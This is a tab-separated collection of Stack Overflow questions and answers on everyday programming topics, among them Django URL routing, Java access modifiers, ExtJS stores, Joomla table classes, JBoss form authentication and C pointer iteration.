34371935	0	How to have separate urls for the same app in Django 1.9 <p>I have an app that will have 2 kinds of urls, one that will be included in other apps and one will be included in the settings app. I want to have a way to include only part of the urls without creating a seperate file for it. </p> <pre><code># records app -- urls.py urlpatterns = [ url(r'^create/$', RecordCreate.as_view(), name="record-create"), url(r'^(?P&lt;pk&gt;\d+)/update/$', RecordUpdate.as_view(), name="record-update"), url(r'^(?P&lt;pk&gt;\d+)/delete/$', RecordDelete.as_view(), name="record-delete"), ] urlpatterns_types = [ url(r'^$', RecordTypeList.as_view(), name="record-type-list"), url(r'^(?P&lt;pk&gt;\d+)/$', RecordTypeDetail.as_view(), name="record-type-detail"), url(r'^create/$', RecordTypeCreate.as_view(), name="record-type-create"), url(r'^(?P&lt;pk&gt;\d+)/update/$', RecordTypeUpdate.as_view(), name="record-type-update"), url(r'^(?P&lt;pk&gt;\d+)/delete/$', RecordTypeDelete.as_view(), name="record-type-delete"), ] </code></pre> <p>Now in the settings app I want to include only the <code>urlpatterns_types</code> urls. However I tried to include them but I couldn't</p> <p>The only way that I found to create separate files and then include them as a module</p> <p>Here is an example of the expected result</p> <pre><code># player app -- urls.py from django.conf.urls import patterns, include, url from .views import * urlpatterns = [ # Records App Urls url(r'^(?P&lt;player_id&gt;\d+)/records/', include('records.urls')), ] # settings app -- urls.py from django.conf.urls import patterns, include, url from .views import * urlpatterns = [ # Records App Urls url(r'^(?P&lt;player_id&gt;\d+)/records/', include('records.urls.urlpatterns_types')), ] </code></pre> <hr> <p>Project Tree</p> <pre><code>-- soccer_game -- soccer_game -- settings.py -- urls.py -- players -- models.py -- urls.py -- views.py -- main_settings -- models.py -- urls.py -- views.py </code></pre>
18560341	0	Accessing Protected Variable Of An Instance Of A Class That Extends An Abstract Base Class? <p>I have an abstract class called MyAction which contains a protected enum variable. The class is defined as follows:</p> <pre><code>package mypackage; public abstract class MyAction { public enum ActionId { ACTION1, ACTION2; } protected ActionId actionId; // constructor public MyAction(ActionId actionId) { this.actionId = actionId; } public ActionId getActionId() { return actionId; } ... ... } </code></pre> <p>I created a specific action, MyAction1, that extends MyAction:</p> <pre><code>package mypackage; public class MyAction1 extends MyAction { public MyAction1() { super(ActionId.ACTION1); } ... ... } </code></pre> <p>I have a singleton utility class (in the same package) that creates an instance of MyAction1 and stores it in a HashMap:</p> <pre><code>package mypackage; public class MyActionFactory { private static MyActionFactory theInstance; private HashMap&lt;ActionId, MyAction&gt; actions; private MyActionFactory() { actions = new HashMap&lt;ActionId, MyAction&gt;(); MyAction1 myAction1 = new MyAction1(); actions.put(myAction1.actionId, myAction1); // able to access protected variable actionId } public static VsActionFactory getInstance() { if (theInstance == null) theInstance = new VsActionFactory(); return theInstance; } ... ... } </code></pre> <p>Note that in the method <em>actions.put(<strong>myAction1.actionId</strong>, myAction1)</em> I am able to access the protected member <em>actionId</em>.</p> <p>Why is it that I can access the protected member <em>actionId</em> (contained in the base class <em>MyAction</em>) of the instance of <em>MyAction1</em>? I thought protected members were only accessible to subclasses. </p> <p>Does it have anything to do with <em>MyActionFactory</em> being in the same package as the others?</p>
21317940	0	Performing calculations on Django database values: views.py, template or Javascript? <p>I have a Django project that interfaces with a PostgreSQL database; one of my tables is about 450 rows long and each row contains about a dozen columns.</p> <p>Each column's value must be put into a different formula to produce the final data I want to display in the template layer, but each row will be processed with the same set of calculations. (In other words, I want to perform 12 different calculations 450 times each.)</p> <p>My question is, of the following methods, which is the generally accepted method of doing so, and which is the best in terms of performance:</p> <p>A) Write each calculation as a model method in models.py, query all objects of interest (again, about 450 of them) in views.py and pass them directly to the template, and then use Django's template language to write things like:</p> <pre><code>&lt;table&gt; {% for item in list %} &lt;tr&gt; &lt;td&gt;{{item.name}}&lt;/td&gt; ... &lt;/tr&gt; {% endfor %} &lt;/table&gt; </code></pre> <p>(where <code>.name</code> is a model method)</p> <p>B) Peform the query <em>and</em> calculations in the views.py file and pass the results organized into one big dictionary or list or JSON to the template (and then parse it using template tags),</p> <p>C) Pass all of the objects of interest to the template as in A), but perform calculations on each object's fields using Javascript or jQuery,</p> <p>D) Combine B) and C) to perform all database queries in views.py and then pass the <em>raw</em> values as a big dictionary/list/JSON object to the template and perform calculations on those values using Javascript/jQuery.</p> <p>To my mind, method A) seems the least efficient as it requires you to hit the database a ton of times in the template layer. But it makes writing the view and template extremely simple (just requires you to write 12 different model methods). Method B) seems to follow the general tenet of performing as much logic as possible in your view, and simply passing along the final results to be displayed in the template. But it makes the view function long and ugly. Methods C) and D) put most of load on the end user's browser, which seems like it could really take a load off the server, but then obviously won't work if the user has JS turned off.</p> <p>But again, I'd like to know if there's an accepted best practice for this kind of situation, and whether that contradicts the <em>fastest</em> method from a computational standpoint.</p> <p>And obviously, if I've missed the best method of all, please let me know what it would be.</p>
5733800	0	 <blockquote> <p>if the dialog gets wider, but stays the same height, the number of rows should lessen, while the number of columns increases. </p> </blockquote> <p><a href="http://tips4java.wordpress.com/2008/11/06/wrap-layout/" rel="nofollow">Wrap Layout</a> might be what you are looking for.</p>
5209918	0	 <p>try </p> <pre><code>strtotime(now()) </code></pre> <p>And you should definitely use <code>timestamp</code> or <code>datetime</code> as a type for your column.</p>
24024605	0	 <p>There seem to be spaces in the file path:</p> <pre><code> New%20folder%20(2) </code></pre>
23019966	0	 <p>give it a try</p> <pre><code>window.location.href.split("?")[0] </code></pre>
13781982	0	 <p>Why not just make evey different view a different site, ie give the ads in each view a different id. It is a little bit of a pain to set this up if you have several applications/or lots of views, but I think that it should work.</p>
4840534	0	 <p>You can get straight into programming with ruby.</p> <p>In terms of generic things to know I suggest you read a book, so you get one consistent message explaining all the basics.</p> <p>This is a great book to teach you programming in general and it teaches you using ruby. <a href="http://pragprog.com/titles/ltp2/learn-to-program" rel="nofollow">http://pragprog.com/titles/ltp2/learn-to-program</a></p> <p>Also have a go with <a href="http://tryruby.org" rel="nofollow">http://tryruby.org</a> - Quick ruby tutorial in your browser</p> <p>Finally check out the hackety-hack project it's designed to help people learn to program, although version 1 is only just out. <a href="http://hackety-hack.com/" rel="nofollow">http://hackety-hack.com/</a></p>
16839452	0	 <p>I solve it with ajax call. </p> <pre><code> &lt;script type="text/javascript"&gt; $(document).ready(function () { $("input[type = radio]").each(function (index, value) { $(value).click(function () { $.ajax({ type: "POST", url: "http://localhost:2782/TestPage.aspx/GetBank", data: "{id:" + value.defaultValue + "}", contentType: "application/json; charset=utf-8", dataType: "json", success: function (data) { $("#dvBankInfo").empty(); $("#dvBankInfo").append(data.d); } }); }); }); }); &lt;/script&gt; </code></pre>
6305711	0	 <p>Wrap your content inside a ScrollView</p>
14072017	0	Iterating over records in an ExtJS store and filtering on a specific field <p>I am iterating over records in a store as they come in like so:</p> <pre><code>Ext.create('Ext.data.Store', { model: 'Message', storeId: 'Staging', proxy: { type: 'memory', reader: { type: 'json' } }, listeners: { add: function(store, records, index, eOpts){ if (!Ext.data.StoreManager.lookup('Historical').isLoading()) { this.each(function(item, index, count) { if(item.notificationType === 'INBOX'){ // populate inbox store // increment the unread inbox count console.log('inbox'); } else if (item.notificationType === 'NOTIFICATION') { // populate notifications store // increment the unread notification count } }); // no historical data should be held in memory for performance this.removeAll(); } } } }); </code></pre> <p>The <em>item.notificationType</em> property returns undefined.</p> <p>I have tried other properties but they also return undefined.</p> <p>I need to perform different actions when different types are encountered and thought this would do it!</p> <p>So the item is a record in the store which contains json in the structure as follows:</p> <pre><code> { "source":"2", "target":"1416529", "sourceType":"USER", "redirectUrl":null, "message":"cow's go...", "id":606, "targetType":"TEAM", "messageType":"TIBRR_WALL_MESSAGE", "notificationType":"INBOX", "sentDate":1356599137173, "parameters":null, "targetId":"1416529", "sourceId":"2", "dispatched":true, "read":false, "readDate":null, "dispatchedDate":1356599137377 } </code></pre>
36278026	0	Multithreading extended panel <p>I'm trying to allocate a <code>JPanel</code> that implements <code>Runnable</code> interface in a <code>JFrame</code>. I'd made this sample for interpret my idea. I want to add a multi-threading panel that shows a text as demo to a window with a <code>String</code> as parameter of a new instance. The panel should have independent process so I implemented <code>Runnable</code> interface. But when I try to create a new instance o panel with a new instance of my class, It doesn't work.</p> <p>What I am doing wrong?</p> <p>imagePanel Panel class:</p> <pre><code>public class imagePanel extends JPanel implements Runnable{ JLabel imageTest; public imagePanel(String textLabel) { this.setPreferredSize(new Dimension(300,300)); imageTest = new JLabel(textLabel); imageTest.setPreferredSize(this.getPreferredSize()); } public void setImageText(String newText){ imageTest.setText(newText); } public void run(){ this.add(imageTest); } } </code></pre> <p>Main class test class:</p> <pre><code>public class test { public static void main(){ JFrame frame = new JFrame("Test Window"); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.setPreferredSize(new Dimension(300,300)); JPanel panel = new imagePanel("Text label"); panel.setPreferredSize(frame.getPreferredSize()); frame.add(panel); frame.setVisible(true); } } </code></pre>
3154488	0	How do I iterate through the files in a directory in Java? <p>I need to get a list of all the files in a directory, including files in all the sub-directories. What is the standard way to accomplish directory iteration with Java?</p>
9110259	0	 <p>I've never used swfobject but from what I'm seeing you've created a swf object and are asking it to be added to the videoDiv element. Are you sure you want this behaviour ?</p> <p>Because from where I'm standing I think you should have used the createSWF method and added the returned object to your html array.</p>
2848401	0	Selecting all tables with no records <p>I need to display all tables that have zero records.</p> <p>I tried,</p> <pre><code>select * from user_all_tables where (select count(*) from user_all_tables)=0; </code></pre> <p>But it doesn't seem to work. How should I go about redesigning this query? Thanks.</p>
33824549	0	 <p>This is what you want:</p> <pre><code>echo "$line" | sed -E 's/(QA.|DEV.)(.*)/&lt;!-- \1\2 --&gt;/' </code></pre> <p>The <strong>first group</strong> could be prefixed by <code>QA</code> or <code>DEV</code> , use the <code>|</code> <em>or</em> operator.</p> <p>A <em>few</em> <strong>alternatives</strong>:</p> <pre><code>$ echo "QA2 ABCDEFGHI"|sed -E 's/(.*)/&lt;!-- \1 --&gt;/' &lt;!-- QA2 ABCDEFGHI --&gt; $ echo "QA2 ABCDEFGHI"|awk '{print "&lt;!-- "$0"--&gt;"}' &lt;!-- QA2 ABCDEFGHI--&gt; </code></pre>
3429523	0	What does this line of C/C++ preprocessor mean? <p>This is Line 519 of <code>WinNT.h</code> (BUILD Version: 0091)</p> <pre><code>#define DECLARE_HANDLE(name) struct name##__{int unused;}; typedef struct name##__ *name </code></pre> <p>Why do we need a pointer to an struct with a single int member with a weird name called <code>unused</code>?</p> <p>And will we ever need to use a line of code like this one?</p> <pre><code>HINSTANCE hInstance = new HINSTANCE__; </code></pre> <p>Overall declaring different data types with the same structures, doesn't make sense to me. What's the idea behind this?</p> <pre><code>DECLARE_HANDLE(HRGN); DECLARE_HANDLE(HRSRC); DECLARE_HANDLE(HSPRITE); DECLARE_HANDLE(HLSURF); DECLARE_HANDLE(HSTR); DECLARE_HANDLE(HTASK); DECLARE_HANDLE(HWINSTA); DECLARE_HANDLE(HKL); </code></pre>
18600509	0	 <p>You need put the code bellow:</p> <pre><code> ClassicEngineBoot.getInstance().start(); </code></pre> <p>Inside your bootstrap. It's worked for me, in Grails.</p>
17006528	0	 <p>You can configure IntelliJ to use a lot of different application containers, but each of them must be downloaded and installed separately. I currently have mine configured to serve via jetty, like eclipse, and also tomcat, tc-server, jboss, and node.js. It's pretty easy to set up.</p>
35531950	0	 <p>Refer the sample <a href="https://jsfiddle.net/shashank2691/kx4s6pq0/2/" rel="nofollow">here</a>.</p> <p><strong>Code:</strong></p> <p><em>HTML:</em></p> <pre><code>&lt;div ng-app="app" ng-controller="test as vm"&gt; &lt;div test-dir="user" ng-repeat="user in vm.users"&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p><em>JS:</em></p> <pre><code>var app = angular.module('app', []); app.controller('test', function ($scope) { var vm = this; vm.users = [ { 'Name': 'Abc', 'Id': 1 }, { 'Name': 'Pqr', 'Id': 2 }, { 'Name': 'XYZ', 'Id': 3 } ]; $scope = vm; }); app.directive('testDir', function () { return { scope: { user: '=testDir' }, template: "&lt;div&gt;&lt;h4&gt;{{user.Id}}) {{user.Name}}&lt;/h4&gt;&lt;/div&gt;" } }); </code></pre>
31255971	0	 <pre><code>func itemMutableArray() -&gt; NSMutableArray { return NSMutableArray(array: (item.allObjects as! [Item]).sorted{ $0.date.compare($1.date) == NSComparisonResult.OrderedAscending } ) } </code></pre>
33020711	0	Showing alert panel when inventory reaches critical <p>I'm trying to show when an inventory is lower than critical. It doesn't seem to get there when I debug the system </p> <p>This is my code behind </p> <pre><code>protected void Page_Load(object sender, EventArgs e) { GetInventory(); TotalCount(); CriticalItem(); Panel1.Visible = false; } void TotalCount() { con.Open(); SqlCommand cmd = new SqlCommand(); cmd.Connection = con; cmd.CommandText = "SELECT 'Total Count of Inventory ' + '(' + convert(nvarchar,SUM(Quantity)) + ')' AS TotalCount from Inventory"; SqlDataReader data = cmd.ExecuteReader(); if (data.HasRows) { while (data.Read()) { lblTotalCount.Text = data["TotalCount"].ToString(); } con.Close(); } else { con.Close(); Response.Redirect("Default.aspx"); } } void GetInventory() { con.Open(); SqlCommand cmd = new SqlCommand(); cmd.Connection = con; cmd.CommandText = "SELECT Inventory.InventoryID, Products.ProductName, " + "Supplier.SupplierName, Inventory.Quantity, Users.LastName + ', ' + Users.FirstName AS UserAccount, " + "SupplierProducts.CriticalLevel, Inventory.Status, Inventory.DateAdded, Inventory.DateModified, SupplierProducts.Price FROM Inventory " + "INNER JOIN SupplierProducts ON Inventory.ProductID = SupplierProducts.SupplierProductID " + "INNER JOIN Products ON SupplierProducts.ProductID = Products.ProductID " + "INNER JOIN Supplier ON Inventory.SupplierID = Supplier.SupplierID " + "INNER JOIN Users ON Inventory.UserID = Users.UserID"; SqlDataAdapter da = new SqlDataAdapter(cmd); DataSet ds = new DataSet(); da.Fill(ds, "Inventory"); lvInventory.DataSource = ds; lvInventory.DataBind(); con.Close(); } void CriticalItem() { var intcheck = new DataTable(); using (var da = new SqlDataAdapter("SELECT * FROM Inventory", con)) { da.Fill(intcheck); } var critcheck = new DataTable(); using (var da = new SqlDataAdapter("SELECT * FROM SupplierProducts", con)) { da.Fill(critcheck); } int finalQuantity = Convert.ToInt32(intcheck.Rows[0]["Quantity"]); int criticalLevel = Convert.ToInt32(critcheck.Rows[0]["CriticalLevel"]); if (finalQuantity &gt; criticalLevel) { Panel1.Visible = true; criticalItem.Text = "Available"; } } </code></pre> <p>I want to criticalItem.text to tell the Inventory that is less than its critical level.</p>
9192507	0	analyzing sequences matlab <p>I am trying to write a short matlab function that will recieve a vector and will return me the index of the first element of the longest sequence of 1s (I can assume that the sequence consists of 1s and 0s). for example: </p> <blockquote> <blockquote> <p>IndexLargeSeq([110001111100000000001111111111110000000000000000000000000000000]) </p> </blockquote> </blockquote> <p>will return 21 - which is the index of the first 1 of the longest sequence of 1s.<br> thank you<br> ariel</p>
32116366	0	 <p>The full method is pasted below. When calling JTable::getInstance you must pass $type as an argument. The getInstance method then uses $type to define $tableClass as you can see below. </p> <pre><code>// Sanitize and prepare the table class name. $type = preg_replace('/[^A-Z0-9_\.-]/i', '', $type); $tableClass = $prefix . ucfirst($type); </code></pre> <p>The method then proceeds to load (import) the class if it's not already and then finally calls return new $tableClass($db);</p> <p>So $tableClass is just a dynamic variable based on the $type argument. </p> <p>In your example above: </p> <pre><code>$row = JTable::getInstance('K2Item', 'Table'); </code></pre> <p>The $type and $prefix arguments are translated into the following:</p> <p>return new TableK2Item($db);</p> <p>So if you search for TableK2Item you should indeed find that class which has a hit() method.</p> <p>So $tableClass is actually defined in the getInstance method. </p> <p>Does this make sense?</p> <pre><code>/** * Static method to get an instance of a JTable class if it can be found in * the table include paths. To add include paths for searching for JTable * classes see JTable::addIncludePath(). * * @param string $type The type (name) of the JTable class to get an instance of. * @param string $prefix An optional prefix for the table class name. * @param array $config An optional array of configuration values for the JTable object. * * @return mixed A JTable object if found or boolean false if one could not be found. * * @link https://docs.joomla.org/JTable/getInstance * @since 11.1 */ public static function getInstance($type, $prefix = 'JTable', $config = array()) { // Sanitize and prepare the table class name. $type = preg_replace('/[^A-Z0-9_\.-]/i', '', $type); $tableClass = $prefix . ucfirst($type); // Only try to load the class if it doesn't already exist. if (!class_exists($tableClass)) { // Search for the class file in the JTable include paths. jimport('joomla.filesystem.path'); $paths = self::addIncludePath(); $pathIndex = 0; while (!class_exists($tableClass) &amp;&amp; $pathIndex &lt; count($paths)) { if ($tryThis = JPath::find($paths[$pathIndex++], strtolower($type) . '.php')) { // Import the class file. include_once $tryThis; } } if (!class_exists($tableClass)) { // If we were unable to find the class file in the JTable include paths, raise a warning and return false. JLog::add(JText::sprintf('JLIB_DATABASE_ERROR_NOT_SUPPORTED_FILE_NOT_FOUND', $type), JLog::WARNING, 'jerror'); return false; } } // If a database object was passed in the configuration array use it, otherwise get the global one from JFactory. $db = isset($config['dbo']) ? $config['dbo'] : JFactory::getDbo(); // Instantiate a new table class and return it. return new $tableClass($db); } </code></pre>
5661392	0	 <p>You can't actually modify/save the image in javascript/jquery (as far as i know). You'll have to use server-side image manipulation libraries like gdlib (http://www.boutell.com/gd/) which is usually activated by default in php, or imagemagick (http://www.imagemagick.org/script/index.php)</p>
6398767	0	Is it possible to define the asset name in a custom XNA content processor? <p>Normally, when loading content using XNA's Content Pipeline, the compiled .xnb files are accessed using an assigned "Asset Name" that can be defined in the Visual Studio GUI. By default, this name is the same as the content's filename sans extension. As a result, you cannot normally load two files that have names differing only by extension as the generated .xnb files would have conflicting names. If you manually change the asset name of one of these files, the generated .xnb files no longer conflict.</p> <p>For a level loading system I am writing, I was hoping to have the setup of loading the texture data and collision data from two separate files with the same name (level1.png and level1.col) where the collision data is simply a text file. I have written a custom content processor to load the collision data using the Content Pipeline.</p> <p>It seems it is not possible to modify the asset name directly in normal game code, but I have been unable to determine if it can be done from within a custom content processor. Is this possible? Or must I modify all the asset names by hand in order to do this?</p> <p>I would ask this on the App Hub forums, but I am having a rather difficult time trying to log into that site without registering (and giving credit card information) for the developer package. I'm currently using XNA for a Windows platform game, and have no interest in developing for the X360 at this time.</p>
28815064	0	 <p>My favorite method is to add a <code>text-align: center;</code> to the parent element, then use <code>display: inline-block;</code> instead of <code>float: left;</code></p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>.thumbsPanel { border: thin black dashed; width: 800px; height: 500px; margin: 0 auto; text-align: center; } .thumbs { display: inline-block; width: 100px; height: 100px; border: 0; margin: 0 1em 1em 0; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;div class="thumbsPanel"&gt; &lt;div class="thumbs"&gt;&lt;a href="1.html"&gt;&lt;img src="1.jpg"&gt;&lt;/a&gt;&lt;/div&gt; &lt;div class="thumbs"&gt;&lt;a href="2.html"&gt;&lt;img src="2.jpg"&gt;&lt;/a&gt;&lt;/div&gt; &lt;div class="thumbs"&gt;&lt;a href="3.html"&gt;&lt;img src="3.jpg"&gt;&lt;/a&gt;&lt;/div&gt; &lt;/div&gt;</code></pre> </div> </div> </p>
38279184	0	 <p>I too faced same error today in my website where i use TCPDF Library to generate PDFs. It was working fine but suddenly i started to get the following error today </p> <pre><code>Severity: 8192 Message: Imagick::clone method is deprecated ..... </code></pre> <p>Might be the hosting provider updated PHP or Imagick. PHP - 5.4 and Imagick - 3.x</p> <p>So to get rid of this in my code, i set error_reporting as </p> <pre><code>error_reporting(E_ALL &amp; ~E_NOTICE &amp; ~E_STRICT &amp; ~E_DEPRECATED); </code></pre> <p>And this will show the errors but not the deprecated notices. Meanwhile I can change my code to support the new version of Imagick.</p>
26055668	0	 <p>I would prefer to do like this:</p> <pre><code>if (window.onpopstate != undefined) { window.onpopstate = locate; } else { window.onhashchange = locate; } </code></pre> <p>so if "msie" add this functionality you do not depend on old code</p>
25804331	0	 <p>You have an quite common mistake.</p> <p>In your collection, the field is named <code>listname</code> (note the lowercase) whereas in your query the field is name <code>listName</code> (note the camel case). Field names are case sensitive. so when adjusting the first query to</p> <pre><code>db.testcol.find({ "msgs.listname": { "$nin":[ "list1" ] } }).pretty() </code></pre> <p>you get the expected result.</p> <p><strong>EDIT</strong></p> <p>As @NeilLunn correctly pointed out in the comments, the better approach when ruling out a <strong>single</strong> value as per the question would be:</p> <pre><code>db.testcol.find({ "msgs.listname": { "$ne": "list1" } }) </code></pre> <p>This approach is both cleaner and faster when just a single value needs to be ruled out.</p> <p>All kudos to him.</p>
14273974	0	 <p>If you want to save modified source as html you can use different aproaches, depends on what you want to mainupulate. Sadly with javascript saveing file is tricky and depends on many things, so you could use option to copy paste file source manually or write your browser and settings specific file saver. I would prefer javascript+php combo solution. Or if there is no need to manipulate someting with javascript i would do it entirely in php.</p> <p>Step 1 - open browser with console, in chrome and firefox CTRL+SHIFT+J And allow popups. Step 2 - open webpage you want Step 3 - Copy next code to console</p> <pre><code>//Script loading function function load_script( source ) { var new_script = document.createElement('script'); new_script.type = 'text/javascript'; new_script.src = source; new_script.className = 'MyInjectedScript'; document.getElementsByTagName('head')[0].appendChild(new_script); } function escapeHtml(unsafe) { return unsafe .replace(/&amp;/g, "&amp;amp;") .replace(/&lt;/g, "&amp;lt;") .replace(/&gt;/g, "&amp;gt;") .replace(/"/g, "&amp;quot;") .replace(/'/g, "&amp;#039;"); } //Load jQuery, if page do not have it by default if (typeof(jQuery) != 'function') load_script('http://code.jquery.com/jquery-latest.js'); </code></pre> <p>Step 4 - Do your manipulations in console</p> <p>Step 5 - Copy next code to console</p> <pre><code>//In the end remove your injected scripts $('.MyInjectedScript').remove(); //Or jquery script will be in source //get Document source var doc_source = $('html',document).html(); doc_source = '&lt;html&gt;'+doc_source+'&lt;/html&gt;'; var new_window = window.open('', '', 'scrollbars=yes,resizable=yes,location=yes,status=yes'); $(new_window.document.body).html('&lt;textarea id="MySource"&gt;'+escapeHtml(doc_source)+'&lt;/textarea&gt;'); </code></pre> <p>STEP 6 - copy paste code from opened window textarea</p> <p>If you want to do it with PHP you can easily download page with curl and manipulate content and save file as desired.</p>
29623000	0	Enable form based login in Jboss EAP 6.3 <p>Following the <a href="https://access.redhat.com/documentation/en-US/JBoss_Enterprise_Application_Platform/6.3/html/Security_Guide/Enable_Form-based_Authentication.html" rel="nofollow">official tutorial</a> form-based auth is achieved by simply adding this to web.xml:</p> <pre><code>&lt;login-config&gt; &lt;auth-method&gt;FORM&lt;/auth-method&gt; &lt;form-login-config&gt; &lt;form-login-page&gt;/loginform.html&lt;/form-login-page&gt; &lt;form-error-page&gt;/loginerror.html&lt;/form-error-page&gt; &lt;/form-login-config&gt; &lt;/login-config&gt; </code></pre> <p>I did that, but web.xml gets ignored when deploying.</p> <pre><code>[WARNING] Warning: selected war files include a WEB-INF/web.xml which will be ig nored (webxml attribute is missing from war task, or ignoreWebxml attribute is specifi ed as 'true') </code></pre> <p>The loginForm.jsp is this:</p> <pre><code>&lt;html&gt; &lt;head&gt; &lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8"&gt; &lt;title&gt;loginForm.jsp&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;h2&gt;Please login to add employees&lt;/h2&gt; &lt;form action="j_security_check" method=post&gt; &lt;p&gt;&lt;strong&gt;Username: &lt;/strong&gt; &lt;input type="text" name="j_username" size="25"&gt; &lt;p&gt;&lt;p&gt;&lt;strong&gt;Password: &lt;/strong&gt; &lt;input type="password" size="15" name="j_password"&gt; &lt;p&gt;&lt;p&gt; &lt;input type="submit" value="Submit"&gt; &lt;input type="reset" value="Reset"&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>Full web.xml:</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;web-app xmlns="http://java.sun.com/xml/ns/javaee" version="2.5" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"&gt; &lt;display-name&gt;form_auth&lt;/display-name&gt; &lt;login-config&gt; &lt;auth-method&gt;FORM&lt;/auth-method&gt; &lt;form-login-config&gt; &lt;form-login-page&gt;/loginform.html&lt;/form-login-page&gt; &lt;form-error-page&gt;/loginerror.html&lt;/form-error-page&gt; &lt;/form-login-config&gt; &lt;/login-config&gt; &lt;security-role&gt; &lt;role-name&gt;admin&lt;/role-name&gt; &lt;/security-role&gt; &lt;/web-app&gt; </code></pre> <p>How do I achieve form-based auth?</p>
35938700	0	 <p>Pointers do not keep information whether they point to single objects or for example first elements of arrays.</p> <p>Consider the following code snippet</p> <pre><code>char *p; char c = 'A'; p = &amp;c; putchar( *p ); char s[] = "ABC"; p = s; putchar( *p ); </code></pre> <p>Thus you have to provide yourself the information about whether a pointer points to an element of an array.</p> <p>You can do this in two ways. The first one is to specify the number of elements in the sequence the first element of which is pointed to by the pointer. Or the sequence must to have a sentinel value as strings have.</p> <p>For example</p> <pre><code>int a[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 0 }; for ( int *p = a; p &lt; a + sizeof( a ) / sizeof( *a ); ++p ) ^^^^^^^^^^^^^^^^^^^^^^^^^^ { printf( "%d ", *p ); } printf( "\n" ); </code></pre> <p>Or</p> <pre><code>int a[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 0 }; int *p = a; do { printf( "%d ", *p ); } while ( *p++ != 0 ); ^^^^^^^^^ printf( "\n" ); </code></pre> <p>These code snippets can be written as functions</p> <pre><code>void f( int a[], size_t n ) { for ( int *p = a; p &lt; a + n; ++p ) { printf( "%d ", *p ); } printf( "\n" ); } </code></pre> <p>Or</p> <pre><code>void f( int a[] ) { int *p = a; do { printf( "%d ", *p ); } while ( *p++ != 0 ); printf( "\n" ); } </code></pre> <p>The same way an array of strings can be printed. Either you will report explicitly the number of elements in the array yourself. Or you can use a sentinel value as for example a null pointer or an empty string.</p> <p>For example</p> <pre><code>#include &lt;stdio.h&gt; void PrintStringArray( char *s[], size_t n ) { for ( char **p = s; p &lt; s + n; ++p ) { puts( *p ); } printf( "\n" ); } int main( void ) ^^^^^^^^^^^^^^^^ { char *list[] = { "Green", "Yellow", "Black", "White", "Purple", "Saphire" }; PrintStringArray( list, sizeof( list ) / sizeof( *list ) ); return 0; } </code></pre> <p>Or</p> <pre><code>#include &lt;stdio.h&gt; void PrintStringArray( char *s[] ) { char **p = s; while ( *p != NULL ) { puts( *p++ ); } printf( "\n" ); } int main( void ) ^^^^^^^^^^^^^^^^ { char *list[] = { "Green", "Yellow", "Black", "White", "Purple", "Saphire", NULL ^^^^ }; PrintStringArray( list ); return 0; } </code></pre>
3445157	0	 <p>Give this version a shot:</p> <pre><code>public void onDrawFrame(GL10 gl) { gl.glClear(GL10.GL_COLOR_BUFFER_BIT | GL10.GL_DEPTH_BUFFER_BIT); gl.glLoadIdentity(); GLU.gluLookAt(gl, 0, 0, 100, 0, 0, 0, 0, 1, 0); for (int i = 0; i &lt; obj.size; i++) { // obj is an array of positions obj = mObj[i]; gl.glPushMatrix(); gl.glTranslatef(obj.position.x(), obj.position.y(), obj.position.z()); gl.glRotatef(obj.rotation.x(), 1f, 0f, 0f); gl.glRotatef(obj.rotation.y(), 0f, 1f, 0f); gl.glRotatef(obj.rotation.z(), 0f, 0f, 1f); obj.draw(gl); // the objects 'draw' themselves gl.glPopMatrix(); } } </code></pre>
5599010	0	Defining Trending Topics in a specific collection of tweets <p>Im doing a Java application where I'll have to determine what are the Trending Topics from a specific collection of tweets, obtained trough the Twitter Search. While searching in the web, I found out that the algorithm defines that a topic is trending, when it has a big number of mentions in a specific time, that is, in the exact moment. So there must be a decay calculation so that the topics change often. However, I have another doubt:</p> <p>How does twitter determines what specific terms in a tweet should be the TT? For example, I've observed that most TT's are hashtag or proper nouns. Does this make any sense? Or do they analyse all words and determine the frequency? </p> <p>I hope someone can help me! Thanks! </p>
13959172	0	Issue with JSON sending <p>Hey guys so I am trying to have a JSON send over a value to another page in wordpress to create a session once a image is clicked on. </p> <p>Here is the JSON code:</p> <pre><code>$('.item-post a').click(function() { var prodname = $('#hiddenpostitle'); $.post('/overviewcheck-515adfzx8522', { 'ProdName': prodname.val() }, function(response) { }, 'json' ); }); </code></pre> <p>The #hiddenposttitle is the following: <code>&lt;?php echo "&lt;input type='hidden' value='$title' id='hiddenpostitle' name='hiddenpostitle'/&gt; "?&gt;</code></p> <p>So this sends to the overviewcheck page, which then has a template that has the follow:</p> <pre><code>&lt;?php /* Template Name: overviewbackcheck */ session_start(); $prodname= $_POST['ProdName']; $_SESSION['overviewprod'] = $prodname; ?&gt; </code></pre> <p>Someone mentioned something about wordpress destroying sessions from calling session_start() but that's not the issue because I fixed that awhile ago, and have other sessions being made that work. It has to do something with the JSOn sending over and I am not to sure.</p> <p>From here the overview page is opened with the following:</p> <pre><code>$(function() { $('.item-post a').colorbox({opacity:0.3, href:"../overviewa512454dzdtfa"}); }); </code></pre> <p>This is the colorbox code that will open the file the within the file I have:</p> <pre><code>&lt;?php echo $_SESSION['overviewprod']; ?&gt; </code></pre> <p>to echo it out. </p> <p>Ultimately I am unable to echo out a session and it does not seem anything is being made.</p> <p>If you could help me out that would be awesome because I need this finished! :)</p>
23753604	0	Add "Rubber Band" effect in android while changing background of application <p>I am working on the application in which:</p> <p>User will have a control to change the background and text (multiples) by doing horizontal swipe for BG and vertical swipe for text. In this case, if I am changing BG, text should remain constant and if I am changing text then BG should remain constant. </p> <p>Also, I want to add <strong><code>Rubber Band effect</code></strong> like in iOS when user changes Text and BG.</p> <p>I am thinking of <a href="https://github.com/lucasr/twoway-view" rel="nofollow"><strong><code>twoway-view</code></strong></a> library to support for vertical and horizontal scrolling. But how to use this library in my case?</p> <p>Any idea/solution will be appreciated. </p>
